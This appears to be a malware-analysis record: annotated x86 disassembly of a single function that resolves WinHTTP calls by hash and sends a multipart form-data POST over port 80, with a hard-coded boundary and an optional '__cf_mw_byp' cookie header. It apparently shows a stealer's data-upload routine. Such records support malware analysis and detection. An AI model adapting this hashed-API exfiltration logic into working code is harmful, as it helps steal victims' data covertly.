Function at 0x42deb0
Capabilities:
Reference http user-agent string
Set http header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
jmp 0x42debb
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov dword [ebp - 0x24], edx
push eax
mov dword [ebp - 0x28], esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x40], eax
mov esi, dword [ebp + 0x14]
mov dword [eax], esi
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [edx], eax
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xf9f57cf0
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
lea ecx, [0x466d4e]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call eax
mov dword [edi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x406457c2
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [esi]
mov dword [ebp - 0x18], edi
mov edx, dword [edi]
xor esi, esi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x50
mov dword [esp + 0xc], 0
call eax
mov esi, dword [ebp - 0x1c]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x507048c2
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, dword [esi]
lea esi, str.POST
xor edi, edi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call eax
mov edi, dword [ebp - 0x10]
mov dword [edi], eax
mov dword [ebx], 0x493e0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xe268a0c1
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov dword [ebp - 0x20], eax
mov ecx, dword [ebx]
mov edx, dword [ebx]
mov esi, dword [ebx]
mov eax, dword [ebx]
mov ebx, dword [edi]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call dword [ebp - 0x20]
sub esp, 8
mov dword [esp], 0x96
mov dword [esp + 4], 1
call fcn.00453287
add esp, 8
mov esi, dword [ebp - 0x2c]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, str.Content_Type:_multipart_form_data__boundary_s_r_n
lea edx, str.be85de5ipdocierre1
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xab3372e8
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [esi]
mov edx, dword [edi]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call eax
cmp dword [0x474604], 0
setne al
test al, 1
jne 0x42e0d6
jmp 0x42e152
sub esp, 8
mov dword [esp], 0x100
mov dword [esp + 4], 1
call fcn.00453287
add esp, 8
mov esi, dword [ebp - 0x30]
mov dword [esi], eax
mov eax, dword [0x474600]
mov ecx, dword [esi]
lea edx, str.Cookie:___cf_mw_byp_hs
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
jmp 0x42e152
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xb72f0de
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ebx, dword [ebp - 0x40]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0
call eax
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov edi, dword [ebp - 0x38]
mov dword [edi], 0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x59886bc0
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10]
mov esi, dword [esi]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edi
call eax
cmp eax, 0
jne 0x42e20b
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x42e306
jmp 0x42e20d
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x76b029a
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0
call eax
cmp eax, 0
setne al
test al, 1
jne 0x42e25a
jmp 0x42e24c
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x42e306
jmp 0x42e25c
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne al
test al, 1
jne 0x42e26b
jmp 0x42e298
jmp 0x42e26d
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x42e298
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
je 0x42e2c8
mov esi, eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [esi]
sub esp, 4
mov dword [esp], ecx
call eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
je 0x42e2fd
jmp 0x42e2d2
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044ac90
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x42e2fd
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret